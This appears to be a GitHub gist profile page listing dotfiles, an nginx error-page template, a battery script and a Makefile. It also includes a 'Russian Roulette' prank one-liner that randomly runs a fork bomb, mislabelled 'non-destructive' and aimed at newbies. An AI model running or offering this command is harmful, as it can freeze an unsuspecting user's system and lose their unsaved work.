Skip to content

Instantly share code, notes, and snippets.

View ahmubashshir's full-sized avatar

Mubashshir ahmubashshir

View GitHub Profile
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title><!--# echo var="status_type" default="" -->: <!--# echo var="status" default="" --></title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<!--# if expr="$status = 502" -->
<meta http-equiv="refresh" content="2">
<!--# endif -->
</head>
@ahmubashshir
ahmubashshir / .alacritty.yml
Created June 16, 2020 17:04 — forked from audacioustux/.alacritty.yml
dot.rc @audacioustux - #starship #alacritty #asdf #vim #kitty #zsh
window:
dynamic_padding: true
decorations: none
startup_mode: Fullscreen
font:
normal:
family: Source Code Pro
style: SemiBold
bold:
family: Source Code Pro
@ahmubashshir
ahmubashshir / epic-claim.py
Last active March 2, 2023 07:27
Epic auto claim with python, selenium webdriver and chromium. for the lazy linux users and gamers out there... https://git.io/JUI55
#!/bin/env python3
"""
Epic Games Store Freebies Claiming bot.
Uses Chromedriver(monkeypatched if possible)
"""
import sys
import re
import logging as log
from xml.sax.saxutils import escape
from datetime import datetime
#!/bin/bash
stat="$(cut -c1 </sys/class/power_supply/BAT0/status)"
full="$(</sys/class/power_supply/BAT0/charge_full)"
current="$(</sys/class/power_supply/BAT0/charge_now)"
percent="$(echo "($current*100)/$full"|bc)"
if [[ $stat = C ]];then
CHR="" # fas fa-battery-bolt ei character ta copy koro
else
CHR=" "
fi

Always Prank The Suspecting Newbies

Non-destructive Russian Roulette

[ $[ $RANDOM % 6 ] == 0 ] && eval ":(){ :|:&};:" || echo *Click*
@ahmubashshir
ahmubashshir / Makefile
Last active September 2, 2022 10:53
Singly linked list implementation in cpp
debug ?= false
OUT := list
SRCS = list-impl.cpp list.cpp
LDFLAGS += -lstdc++
ifneq ($(filter yes true, $(debug)),)
LDFLAGS += -g
CXXFLAGS += -g